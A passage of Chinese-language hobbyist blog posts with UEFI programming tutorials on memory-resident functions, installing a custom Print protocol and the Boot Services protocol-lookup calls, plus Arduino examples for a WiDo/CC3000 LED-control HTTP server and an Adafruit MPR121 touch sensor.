  EFI_GUID                           gEfiLoadedImageProtocolGuid = 
                                     { 0x5B1B31A1, 0x9562, 0x11D2, { 0x8E, 0x3F, 0x00, 0xA0, 0xC9, 0x69, 0x72, 0x3B }};
  LOADED_IMAGE_PRIVATE_DATA_TEMP      *private = NULL;
  Fun                                fun;
  UINTN                              FunOffset;
  UINTN                              FunAddr;

  Status = gBS->HandleProtocol (gImageHandle, &gEfiLoadedImageProtocolGuid, &ImageInfo);
  // function offset in the old image
  FunOffset = (UINTN)function - (UINTN)ImageInfo->ImageBase;

  // load the image in memory again
  Status = gBS->LoadImage(FALSE, gImageHandle, NULL, ImageInfo->ImageBase, (UINTN)ImageInfo->ImageSize, &Handle);  

  // get the newer imageinfo
  Status = gBS->HandleProtocol (Handle, &gEfiLoadedImageProtocolGuid, &ImageInfo);

  private = LOADED_IMAGE_PRIVATE_DATA_FROM_THIS(ImageInfo);
  FunAddr = (UINTN)FunOffset + (UINTN)ImageInfo->ImageBase;
  
  fun = (Fun)((UINTN)FunOffset + (UINTN)ImageInfo->ImageBase);
  // called the newer function in new image,the new image will be always in memory because it will not be free
  fun();
  return EFI_SUCCESS;
}

 

运行结果,和使用Driver方式的没有差别。
stu101

完整的代码下载:
appprotocol

参考:
1. http://www.lab-z.com/49str/ Step to UEFI (49) —– 内存驻留程序

WiDo 实现HTTP Server 的例子

最近在研究如何搭建一个 WIFI HTTP Server ,本打算使用ESP8266,但是购买了板子才发现资料比较少,联系卖家也没有结果。后来只得入手了一块 CC3000 的 WIFI 板子。这个芯片是 Arduino IDE 原生自带的,所以资料方面不是问题。入手的是 DFRobot 出品的 WiDo,主控芯片是 32U4,这意味着有足够的串口可供Debug之类使用, 更具体的说:主控芯片用 SPI 和 WIFI芯片CC3000打交道,然后多出来一个串口,USB上还有一个串口。

image001

根据【参考1】编写一个简单的程序,控制板子上 Pin 13 上面的LED亮灭。【参考1】的程序会向浏览器端发送一个 HTTP 的页面,上面有2个按钮,能够通过按下按钮控制亮灭。经过我的测试发现浏览器打卡会很慢,很多时候会卡死,并且打开之后页面是错乱的。我猜测原因可能是HTTP代码并不标准,有兼容性问题(我用的Chrome),另外用浏览器访问有可能会负载过高,比如,我偶然发现浏览器打开网站之后还有 GET favorite.ico 的动作。因此,我对程序做了一下简单的修改。修改之后HTTP页面只是简单显示一行字符。使用 http://ip/open 打开 LED,http://ip/close关闭LED。

1.直接访问 http://192.168.0.103 可以看到下面的信息

image002

具体的控制可以用 http://192.168.1.103/open 点亮,http://192.168.1.103/close 熄灭。
image003

2.此外,还可以用 curl 工具在控制台进行操作,和方法1 相比,这样的更简单可靠,避免浏览器“暗箱操作”

image004

#include <Adafruit_CC3000.h>
#include <SPI.h>
#include "utility/debug.h"
#include "utility/socket.h"

// These are the interrupt and control pins
#define ADAFRUIT_CC3000_IRQ   7  // MUST be an interrupt pin!
// These can be any two pins
#define ADAFRUIT_CC3000_VBAT  5
#define ADAFRUIT_CC3000_CS    10
// Use hardware SPI for the remaining pins
// On an UNO, SCK = 13, MISO = 12, and MOSI = 11
Adafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT,
SPI_CLOCK_DIVIDER); // you can change this clock speed


#define WLAN_SSID       "ChinaNet-73"           //这里填写你的 WIFI  名称
#define WLAN_PASS       "adminp1988"            //这里填写你的 WIFI 密码  
// Security can be WLAN_SEC_UNSEC, WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2
#define WLAN_SECURITY   WLAN_SEC_WPA2

#define LISTEN_PORT           80   // What TCP port to listen on for connections.

Adafruit_CC3000_Server webServer(LISTEN_PORT);
boolean led_state;
//
void setup(void) {
        //简单起见,我们只用板载的 13pin 上的 LED 演示
        pinMode (13, OUTPUT);
		//默认是灭的
        digitalWrite (13, LOW);
        
		//使用串口输出Debug信息
        Serial.begin(115200);
        Serial.println(F("Hello, CC3000!\n")); 
        //while (!Serial);
        //Serial.println ("Input any key to start:");
        //while (!Serial.available ());
		//输出当前可用内存
        Serial.print("Free RAM: "); 
        Serial.println(getFreeRam(), DEC);

        /* Initialise the module */
        Serial.println(F("\nInitializing..."));
        if (!cc3000.begin()) {
                Serial.println(F("Couldn't begin()! Check your wiring?"));
                while(1);
        }

        Serial.print(F("\nAttempting to connect to ")); 
        Serial.println(WLAN_SSID);
        if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {
                Serial.println(F("Failed!"));
                while(1);
        }

        Serial.println(F("Connected!"));

		//使用 DHCP 分配的IP 
        Serial.println(F("Request DHCP"));
        while (!cc3000.checkDHCP()) {
                delay(100); // ToDo: Insert a DHCP timeout!
        }  
		
        //显示当前的IP信息
        /* Display the IP address DNS, Gateway, etc. */
        while (! displayConnectionDetails()) {
                delay(1000);
        }

        // Start listening for connections
        webServer.begin();
        Serial.println(F("Listening for connections..."));
}

//
void loop(void) {
        // Try to get a client which is connected.
        Adafruit_CC3000_ClientRef client = webServer.available();
        if (client) {
		        //处理输入的 GET 信息,对于 GET 方法来说,Url中既有传递的信息
                processInput (client);
				//对发送 HTTP 请求的浏览器发送HTTP代码
                sendWebPage (client);
        }
        client.close();
}

//分析收到的 GET 方法的参数
void processInput (Adafruit_CC3000_ClientRef client) {
        char databuffer[45];
      //安全起见,保证截断
       databuffer[44]=’\0’;
        while (client.available ()) {
                client.read (databuffer, 40);
	
	  //下面这个代码是查找PC端发送的数据中的换行,以此作为字符串的结尾
                char* sub = strchr (databuffer, '\r');
                if (sub > 0)
                        *sub = '\0';
                Serial.println (databuffer);
				
                //下面是解析 GET 方法提供的参数
	    //如果是 open 命令,那么点亮 LED
                if (strstr (databuffer, "open") != 0) {
                        Serial.println (F("clicked open"));
                        digitalWrite (13, HIGH); 
                        led_state = true;
                } 
	     //如果是 close 命令,那么熄灭 LED 
                else if (strstr (databuffer, "close") != 0) {
                        Serial.println (F("clicked close"));
                        digitalWrite (13, LOW);
                        led_state = false;
                }
                break;
        }
}

void sendWebPage (Adafruit_CC3000_ClientRef client) {
        //为了节省空间,这里只发送简单的提示字符
        webServer.write ("Waiting for command");
        delay (20);
        client.close();
}

//输出当前WIFI 设备通过 DHCP 取得的基本信息
bool displayConnectionDetails(void) {
        uint32_t ipAddress, netmask, gateway, dhcpserv, dnsserv;

        if(!cc3000.getIPAddress(&ipAddress, &netmask, &gateway, &dhcpserv, &dnsserv)) {
                Serial.println(F("Unable to retrieve the IP Address!\r\n"));
                return false;
        } 
        else {
                Serial.print(F("\nIP Addr: ")); 
                cc3000.printIPdotsRev(ipAddress);
                Serial.print(F("\nNetmask: ")); 
                cc3000.printIPdotsRev(netmask);
                Serial.print(F("\nGateway: ")); 
                cc3000.printIPdotsRev(gateway);
                Serial.print(F("\nDHCPsrv: ")); 
                cc3000.printIPdotsRev(dhcpserv);
                Serial.print(F("\nDNSserv: ")); 
                cc3000.printIPdotsRev(dnsserv);
                Serial.println();
                return true;
        }
}

 

最后,对于初学者来说个人强烈不推荐使用“深圳四博智联科技有限公司开发的一款基于乐鑫ESP8266的各种板子“,原因是:资料很少,基本上没有Support,初学者使用的话很可能走很多弯路。
对于WiDo 来说,因为使用的是 CC3000,这也是 Arduino 官方用的 Wifi 使用的芯片,因此资料很全。不得不承认一点,国内Arduino方面的硬件价格便宜,但是软件还是很弱,特别是基础性的研究。如果你的项目比较急,或者对于稳定性要求高,首选官方支持的设备。

参考:
1. 通过网页按钮控制台灯,wido做服务器http://www.dfrobot.com.cn/community/forum.php?mod=viewthread&tid=10001&highlight=wido

Step to UEFI (100)InstallProtocolInterface

前面介绍了很多“消费”Protocol的代码,这次试试自己生产一个 Protocol 试试。根据我的理解,产生的 protocol 可以挂接在任何的 Handle 上(DH 命令看到的都可以),提供服务的代码需要常驻内存,一般的 Application 是不会常驻内存的,驱动直接可以常驻内存。于是,我们实验编写一个驱动程序,使用 Load 来加载驱动产生自定义的 Protocol ,挂接在自身Image 的Handle上。
需要使用的主要服务是 InstallProtocolInterface,我们先看看它的定义和输入参数:

typedef
EFI_STATUS
(EFIAPI *EFI_INSTALL_PROTOCOL_INTERFACE)(
  IN OUT EFI_HANDLE               *Handle,          //安装到哪个Handle上
  IN     EFI_GUID                 *Protocol,               //安装的Protocol 的名字
  IN     EFI_INTERFACE_TYPE       InterfaceType,  ,  //目前只有一种类型:EFI_NATIVE_INTERFACE
  IN     VOID                     *Interface                  //Protocol的实例
  );

 

实际上,代码中更加常见的是InstallMultipleProtocolInterfaces, 这是因为 “ Installs a protocol interface on a device handle. If the handle does not exist, it is created and added to the list of handles in the system. InstallMultipleProtocolInterfaces() performs more error checking than InstallProtocolInterface(), so it is recommended that InstallMultipleProtocolInterfaces() be used in place of InstallProtocolInterface()” 因此,我们代码中会使用 InstallMultipleProtocolInterfaces 而不是前面提到的 InstallProtocolInterface。

/**
  Installs one or more protocol interfaces into the boot services environment.

  @param[in, out]  Handle       The pointer to a handle to install the new protocol interfaces on,
                                or a pointer to NULL if a new handle is to be allocated.
  @param  ...                   A variable argument list containing pairs of protocol GUIDs and protocol
                                interfaces.

  @retval EFI_SUCCESS           All the protocol interface was installed.
  @retval EFI_OUT_OF_RESOURCES  There was not enough memory in pool to install all the protocols.
  @retval EFI_ALREADY_STARTED   A Device Path Protocol instance was passed in that is already present in
                                the handle database.
  @retval EFI_INVALID_PARAMETER Handle is NULL.
  @retval EFI_INVALID_PARAMETER Protocol is already installed on the handle specified by Handle.

**/
typedef
EFI_STATUS
(EFIAPI *EFI_INSTALL_MULTIPLE_PROTOCOL_INTERFACES)(
  IN OUT EFI_HANDLE           *Handle,
  ...
  );

 

InstallMultipleProtocolInterfaces 服务支持一次性安装多个Protocol,所以接收的变量是可变数量的,看起来让人有眼晕的感觉。最简单的方法是照葫芦画瓢,我们在UDK2014的代码中找一下我们的“葫芦”。在MdeModulePkg中,有一个 PrintDxe,它会向系统中注册名称为Print2Protocol 的 Protocol。

先分析一下他的代码结构。主要文件有3个:

1. \MdeModulePkg\Universal\PrintDxe\PrintDxe.inf 可以看做是工程文件,特别注意,其中有用到gEfiPrint2ProtocolGuid 在 MdeModulePkg.dec 中有定义:

  ## Print protocol defines basic print functions to print the format unicode and ascii string.
  # Include/Protocol/Print2.h
  gEfiPrint2ProtocolGuid          = { 0xf05976ef, 0x83f1, 0x4f3d, { 0x86, 0x19, 0xf7, 0x59, 0x5d, 0x41, 0xe5, 0x38 } }

 

2 \MdeModulePkg\Universal\PrintDxe\Print.c 其中有这个 Protocol的实例,还有入口函数PrintEntryPoint。其中使用了InstallMultipleProtocolInterfaces 将mPrint2Protocol 安装到了mPrintThunkHandle(==0) 上面。

3. \MdeModulePkg\Include\Protocol\Print2.h 定义了提供的 Protocol 的结构。

struct _EFI_PRINT2_PROTOCOL {
  UNICODE_BS_PRINT                     UnicodeBSPrint;
  UNICODE_S_PRINT                      UnicodeSPrint;
  UNICODE_BS_PRINT_ASCII_FORMAT        UnicodeBSPrintAsciiFormat;
  UNICODE_S_PRINT_ASCII_FORMAT         UnicodeSPrintAsciiFormat;
  UNICODE_VALUE_TO_STRING              UnicodeValueToString;
  ASCII_BS_PRINT                       AsciiBSPrint;
  ASCII_S_PRINT                        AsciiSPrint;
  ASCII_BS_PRINT_UNICODE_FORMAT        AsciiBSPrintUnicodeFormat;
  ASCII_S_PRINT_UNICODE_FORMAT         AsciiSPrintUnicodeFormat;
  ASCII_VALUE_TO_STRING                AsciiValueToString;
};

 

更多的介绍可以在【参考1】中看到。
之后就可以尝试进行编译,需要在 MdeModulePkg.dec 中声明一次 gEfiPrint9ProtocolGuid ,注意我修改了GUID保证不会和原来的发生冲突。再在MdeModulePkg.dsc 中加入 PrintDxe.inf 加入的位置和我们之前编译过的GOP旋转驱动还有截图的驱动位置一样。

编译之后的结果可以直接在 NT32 模拟器下试验:
st1001
加载之后可以发现用 DH 命令列出当前的 Handle会多了一个image(如果我们再Load一次,那么还会多出来一个Image,我们的代码不完善,没有自动查找确认当前是否已经执行过一次的功能)
stu1002

我们编写一个简单的Application来调用这个 Protocol 测试:

#include  <Uefi.h>
#include  <Library/UefiLib.h>
#include  <Library/ShellCEntryLib.h>

#include "Print9.h"

EFI_GUID gEfiPrint9ProtocolGuid =
		{ 0xf05976ef, 0x83f1, 0x4f3d, 
			{ 0x86, 0x19, 0xf7, 0x59, 
				0x5d, 0x41, 0xe5, 0x61 } };

							
extern EFI_BOOT_SERVICES         *gBS;
extern EFI_SYSTEM_TABLE			 *gST;
extern EFI_RUNTIME_SERVICES 	 *gRT;

int
EFIAPI
main (
  IN int Argc,
  IN CHAR16 **Argv
  )
{
	EFI_PRINT9_PROTOCOL		*Print9Protocol;
	EFI_STATUS				Status;	
	CHAR16					*Buffer=L"12345678";
	// Search for the Print9 Protocol
    //
    Status = gBS->LocateProtocol(
      &gEfiPrint9ProtocolGuid,
      NULL,
      (VOID **)&Print9Protocol
     );
    if (EFI_ERROR(Status)) {
      Print9Protocol = NULL;
	  Print(L"Can't find Print9Protocol.\n");
	  return EFI_SUCCESS;
     }
	Print(L"Find Print9Protocol.\n"); 
	Print9Protocol->UnicodeSPrint(Buffer,8,L"%d",200);
	Print(L"%s\n",Buffer); 
	
	return EFI_SUCCESS;
}

 

运行结果:
stu1003
首先运行的时候找不到对应的 Protocol,需要Load一次,再次运行就可以正常运行了。
本文提到的完整代码下载:

pdt

printdriver

参考:
1. http://feishare.com/attachments/065_EFI%20Howto,%20%20%20%E6%B3%A8%E5%86%8C%EF%BC%8C%E5%8F%91%E5%B8%83%EF%BC%8C%E4%BD%BF%E7%94%A8%E8%87%AA%E5%AE%9A%E4%B9%89%E7%9A%84protocol.pdf EFI Howto ,注册,发布,使用自定义的protocol

Step to UEFI (99)使用 Protocol的总结

前面很多程序一直在使用各种 Protocol 提供的服务,《UEFI 原理与编程》第五章是关于 UEFI基础服务的,正好借着本章,总结一下如何查找和调用 Protocol。

要使用Protocol,首先要知道使用哪个 Protocol ,它的名字就是 GUID。比如:gEfLoadedImageProtocolGuid ,他是 EFI_GUID类型。

启动服务(Boot Services)提供了下面一些服务用来查找指定的 Protocol。

OpenProtocol 打开指定句柄上面的 Protocol
HandleProtocol 上面的OpenProtocol对于参数要求比较复杂,HandleProtocol可以看做是前者的简化版本。
LocateProtocol 用于找出给定的 Protocol 在系统中的第一个实例。当你确定系统中只有一个 Protocol 的时候可以使用这个函数。比如,查找系统中的 EfiShellProtocol
LocateHandleBuffer 和上面的类似,差别在于这个函数能够给出系统中所有的支持给定 Protocol 设备的 Handle。比如,找到系统中所有支持 BlockIO 的设备

下面分别介绍每个函数:
1. OpenProtocol 原型定义可以在这支文件中看到 \MdePkg\Include\Uefi\UefiSpec.h

/**
  Queries a handle to determine if it supports a specified protocol. If the protocol is supported by the
  handle, it opens the protocol on behalf of the calling agent.

  @param[in]   Handle           The handle for the protocol interface that is being opened.
  @param[in]   Protocol         The published unique identifier of the protocol.
  @param[out]  Interface        Supplies the address where a pointer to the corresponding Protocol
                                Interface is returned.
  @param[in]   AgentHandle      The handle of the agent that is opening the protocol interface
                                Specified by Protocol and Interface.
  @param[in]   ControllerHandle If the agent that is opening a protocol is a driver that follows the
                                UEFI Driver Model, then this parameter is the controller handle
                                that requires the protocol interface. If the agent does not follow
                                the UEFI Driver Model, then this parameter is optional and may
                                be NULL.
  @param[in]   Attributes       The open mode of the protocol interface specified by Handle
                                and Protocol.

  @retval EFI_SUCCESS           An item was added to the open list for the protocol interface, and the
                                protocol interface was returned in Interface.
  @retval EFI_UNSUPPORTED       Handle does not support Protocol.
  @retval EFI_INVALID_PARAMETER One or more parameters are invalid.
  @retval EFI_ACCESS_DENIED     Required attributes can't be supported in current environment.
  @retval EFI_ALREADY_STARTED   Item on the open list already has requierd attributes whose agent
                                handle is the same as AgentHandle.

**/
typedef
EFI_STATUS
(EFIAPI *EFI_OPEN_PROTOCOL)(
  IN  EFI_HANDLE                Handle, //指定在哪个 Handle 上查找 Protocol 
  IN  EFI_GUID                  *Protocol,//查找哪个 Protocol
  OUT VOID                      **Interface, OPTIONAL //返回打开的 Protocol 对象
  IN  EFI_HANDLE                AgentHandle, //打开此 Protocol 的Image(书上说的,我并不理解)
  IN  EFI_HANDLE                ControllerHandle, //使用此 Protocol的控制器
  IN  UINT32                    Attributes     //打开 Protocol 的方式
  );

 

2. HandleProtocol 和前面的那个函数相比,调用参数上简单多了。 原型定义可以在这支文件中看到 \MdePkg\Include\Uefi\UefiSpec.h

/**
  Queries a handle to determine if it supports a specified protocol.

  @param[in]   Handle           The handle being queried.
  @param[in]   Protocol         The published unique identifier of the protocol.
  @param[out]  Interface        Supplies the address where a pointer to the corresponding Protocol
                                Interface is returned.

  @retval EFI_SUCCESS           The interface information for the specified protocol was returned.
  @retval EFI_UNSUPPORTED       The device does not support the specified protocol.
  @retval EFI_INVALID_PARAMETER Handle is NULL.
  @retval EFI_INVALID_PARAMETER Protocol is NULL.
  @retval EFI_INVALID_PARAMETER Interface is NULL.

**/
typedef
EFI_STATUS
(EFIAPI *EFI_HANDLE_PROTOCOL)(
  IN  EFI_HANDLE               Handle,   //打开 Handle上面的 
  IN  EFI_GUID                 *Protocol, //GUID给定的Protocol
  OUT VOID                     **Interface //打开之后放在这里
  );

 

3. LocateProtocol 前面两个函数都是用来打开特定 Handle 上的Protocol,如果我们不知道需要的Protocol 在哪个Handle上,就可以用这个函数。调用参数上简单多了. 原型定义可以在这支文件中看到\MdePkg\Include\Uefi\UefiSpec.h

/**
  Returns the first protocol instance that matches the given protocol.

  @param[in]  Protocol          Provides the protocol to search for.
  @param[in]  Registration      Optional registration key returned from
                                RegisterProtocolNotify().
  @param[out]  Interface        On return, a pointer to the first interface that matches Protocol and
                                Registration.

  @retval EFI_SUCCESS           A protocol instance matching Protocol was found and returned in
                                Interface.
  @retval EFI_NOT_FOUND         No protocol instances were found that match Protocol and
                                Registration.
  @retval EFI_INVALID_PARAMETER Interface is NULL.

**/
typedef
EFI_STATUS
(EFIAPI *EFI_LOCATE_PROTOCOL)(
  IN  EFI_GUID  *Protocol,                //要打开的 Protocol
  IN  VOID      *Registration, OPTIONAL  //从 RegisgerProtocolNotify() 获得的Key (不懂)
  OUT VOID      **Interface     //返回找到的对个匹配的 Protocol 实例
  );

 

4. LocateHandleBuffer 这个函数用来找出支持某个 Protocol的所有设备, 原型定义可以在这支文件中看到 \MdePkg\Include\Uefi\UefiSpec.h

/**
  Returns an array of handles that support a specified protocol.

  @param[in]       SearchType   Specifies which handle(s) are to be returned.
  @param[in]       Protocol     Specifies the protocol to search by.
  @param[in]       SearchKey    Specifies the search key.
  @param[in, out]  BufferSize   On input, the size in bytes of Buffer. On output, the size in bytes of
                                the array returned in Buffer (if the buffer was large enough) or the
                                size, in bytes, of the buffer needed to obtain the array (if the buffer was
                                not large enough).
  @param[out]      Buffer       The buffer in which the array is returned.

  @retval EFI_SUCCESS           The array of handles was returned.
  @retval EFI_NOT_FOUND         No handles match the search.
  @retval EFI_BUFFER_TOO_SMALL  The BufferSize is too small for the result.
  @retval EFI_INVALID_PARAMETER SearchType is not a member of EFI_LOCATE_SEARCH_TYPE.
  @retval EFI_INVALID_PARAMETER SearchType is ByRegisterNotify and SearchKey is NULL.
  @retval EFI_INVALID_PARAMETER SearchType is ByProtocol and Protocol is NULL.
  @retval EFI_INVALID_PARAMETER One or more matches are found and BufferSize is NULL.
  @retval EFI_INVALID_PARAMETER BufferSize is large enough for the result and Buffer is NULL.

**/
typedef
EFI_STATUS
(EFIAPI *EFI_LOCATE_HANDLE)(
  IN     EFI_LOCATE_SEARCH_TYPE   SearchType,   //查找方法
  IN     EFI_GUID                 *Protocol,    OPTIONAL //指定的 Protocol
  IN     VOID                     *SearchKey,   OPTIONAL   //PROTOCOL_NOTIFY 类型
  IN OUT UINTN                    *BufferSize,                  //找到的Handle数量
  OUT    EFI_HANDLE               *Buffer                       //返回的 Handle Buffer 
  );

 

其中EFI_LOCATE_SEARCH_TYPE 可以定义为下面几种类型

///
/// Enumeration of EFI Locate Search Types
///
typedef enum {
  ///
  /// Retrieve all the handles in the handle database.
  ///
  AllHandles,               //返回当前系统中的全部 Handle
  ///
  /// Retrieve the next handle fron a RegisterProtocolNotify() event.
  ///
  ByRegisterNotify, //搜索从 RegisterProtocolNodify 中找出匹配SearchKey的 Handle
  ///
  /// Retrieve the set of handles from the handle database that support a 
  /// specified protocol.
  ///
  ByProtocol            //返回系统Handle数据可中支持指定Protocol的HANDLE
} EFI_LOCATE_SEARCH_TYPE;


 

Adarfruit的触摸库

之前我介绍过一个MPR121 触摸传感器模块的库【参考1】,这次再介绍另外一个实现同样功能的库,差别在于这个新的库可以从Arduino IDE中直接下载到:
image001
国内买到的板子都是根据 Adafruit仿造的,下图就是 Adafruit的原图
image002
引出的 12个触摸脚,还有如下控制pin:
1.IRQ 可以做到按下时同时 Arduino
2.SDA/SCL I2C通讯用的
3.ADDR: 作用是选择I2C的地址,模块本身有下拉电阻,这里可以不接。默认地址是0x5B
image003
image004

4.GND 地
5. 3.3V 电源
6. VIN 模块本身有一个电压转换芯片,可以接入 5V
image005
运行库自带的例子,接线上只要接3.3V GND SDA SCL 四根线即可,这个库本身是用轮询的方法来处理引脚的触摸信息的。
代码如下:

/*********************************************************
This is a library for the MPR121 12-channel Capacitive touch sensor

Designed specifically to work with the MPR121 Breakout in the Adafruit shop 
  ----> https://www.adafruit.com/products/

These sensors use I2C communicate, at least 2 pins are required 
to interface

Adafruit invests time and resources providing this open source code, 
please support Adafruit and open-source hardware by purchasing 
products from Adafruit!

Written by Limor Fried/Ladyada for Adafruit Industries.  
BSD license, all text above must be included in any redistribution
**********************************************************/

#include <Wire.h>
#include "Adafruit_MPR121.h"

// You can have up to 4 on one i2c bus but one is enough for testing!
Adafruit_MPR121 cap = Adafruit_MPR121();

// Keeps track of the last pins touched
// so we know when buttons are 'released'
uint16_t lasttouched = 0;
uint16_t currtouched = 0;

void setup() {
  while (!Serial);        // needed to keep leonardo/micro from starting too fast!

  Serial.begin(9600);
  Serial.println("Adafruit MPR121 Capacitive Touch sensor test"); 
  
  // Default address is 0x5A, if tied to 3.3V its 0x5B
  // If tied to SDA its 0x5C and if SCL then 0x5D
  if (!cap.begin(0x5A)) {
    Serial.println("MPR121 not found, check wiring?");
    while (1);
  }
  Serial.println("MPR121 found!");
}

void loop() {
  // Get the currently touched pads
  currtouched = cap.touched();
  
  for (uint8_t i=0; i<12; i++) {
    // it if *is* touched and *wasnt* touched before, alert!
    if ((currtouched & _BV(i)) && !(lasttouched & _BV(i)) ) {
      Serial.print(i); Serial.println(" touched");
    }
    // if it *was* touched and now *isnt*, alert!
    if (!(currtouched & _BV(i)) && (lasttouched & _BV(i)) ) {
      Serial.print(i); Serial.println(" released");
    }
  }

  // reset our state
  lasttouched = currtouched;

  // comment out this line for detailed data from the sensor!
  return;
  
  // debugging info, what
  Serial.print("\t\t\t\t\t\t\t\t\t\t\t\t\t 0x"); Serial.println(cap.touched(), HEX);
  Serial.print("Filt: ");
  for (uint8_t i=0; i<12; i++) {
    Serial.print(cap.filteredData(i)); Serial.print("\t");
  }
  Serial.println();
  Serial.print("Base: ");
  for (uint8_t i=0; i<12; i++) {
    Serial.print(cap.baselineData(i)); Serial.print("\t");
  }
  Serial.println();
  
  // put a delay so it isn't overwhelming
  delay(100);
}

 

运行结果:
image006
需要注意的是模块的地址问题,根据DataSheet ADDR 如果接到GND,地址应该是0x5B ,但是实际上是 0x5A。
参考:
1. http://www.lab-z.com/mpr121/ MPR121 触摸传感器模块
2. https://www.adafruit.com/products/1982